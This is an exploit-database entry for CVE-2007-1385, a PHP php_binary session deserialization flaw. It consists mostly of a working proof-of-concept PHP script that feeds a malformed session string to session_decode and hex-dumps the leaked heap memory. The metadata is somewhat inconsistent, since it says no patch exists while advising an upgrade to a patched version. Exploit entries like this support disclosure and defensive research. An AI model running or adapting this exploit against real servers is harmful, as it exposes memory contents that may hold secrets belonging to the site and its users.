PHP php_binary Session Deserialization Information Leak

vendor:

PHP

by:

Stefan Esser

7.5

CVSS

HIGH

Session Deserialization Information Leak

200

CWE

Product Name: PHP

Affected Version From: All versions of PHP prior to the patch

Affected Version To:

Patch Exists: NO

Related CWE: CVE-2007-1385

CPE: a:php:php

Metasploit: https://www.rapid7.com/db/vulnerabilities/linuxrpm-RHSA-2010-0079/, https://www.rapid7.com/db/vulnerabilities/gentoo-linux-cve-2007-1385/, https://www.rapid7.com/db/vulnerabilities/suse-cve-2007-1385/

Other Scripts:

Platforms Tested: All platforms running PHP

2007

PHP php_binary Session Deserialization Information Leak

This PHP script demonstrates a proof of concept for the php_binary session deserialization vulnerability. By manipulating the session data, an attacker can leak sensitive information from the server.

Mitigation:

To mitigate this vulnerability, upgrade to a version of PHP that has patched this issue. Additionally, ensure that session data is properly sanitized and validated before use.

Source

Exploit-DB raw data:

<?php
  ////////////////////////////////////////////////////////////////////////
  //  _  _                _                     _       ___  _  _  ___  //
  // | || | __ _  _ _  __| | ___  _ _   ___  __| | ___ | _ \| || || _ \ //
  // | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___||  _/| __ ||  _/ //
  // |_||_|\__,_||_|  \__,_|\___||_||_|\___|\__,_|     |_|  |_||_||_|   //
  //                                                                    //
  //         Proof of concept code from the Hardened-PHP Project        //
  //                   (C) Copyright 2007 Stefan Esser                  //
  //                                                                    //
  ////////////////////////////////////////////////////////////////////////
  //       PHP php_binary Session Deserialization Information Leak      //
  ////////////////////////////////////////////////////////////////////////

  // This is meant as a protection against remote file inclusion.
  die("REMOVE THIS LINE");

  ini_set("session.serialize_handler", "php_binary");
  
  session_start();
  $x = chr(36).str_repeat("A", 36)."N;".chr(127);
  $data = $x;
  
  session_decode($data);    

  $keys = array_keys($_SESSION);
  $heapdump = $keys[1];
  
  echo "Heapdump\n---------\n\n";
  
  $len = strlen($heapdump);
  for ($b=0; $b<$len; $b+=16) {
    printf("%08x: ", $b);
    for ($i=0; $i<16; $i++) {
      if ($b+$i<$len) {
          printf ("%02x ", ord($heapdump[$b+$i]));
      } else {
          printf (".. ");
      }
    }
    for ($i=0; $i<16; $i++) {
      if ($b+$i<$len) {
          $c = ord($heapdump[$b+$i]);
      } else {
          $c = 0;
      }
      if ($c > 127 || $c < 32) {
        $c = ord(".");
      }
      printf ("%c", $c);
    }
    printf("\n");
  }
?>

# milw0rm.com [2007-03-04]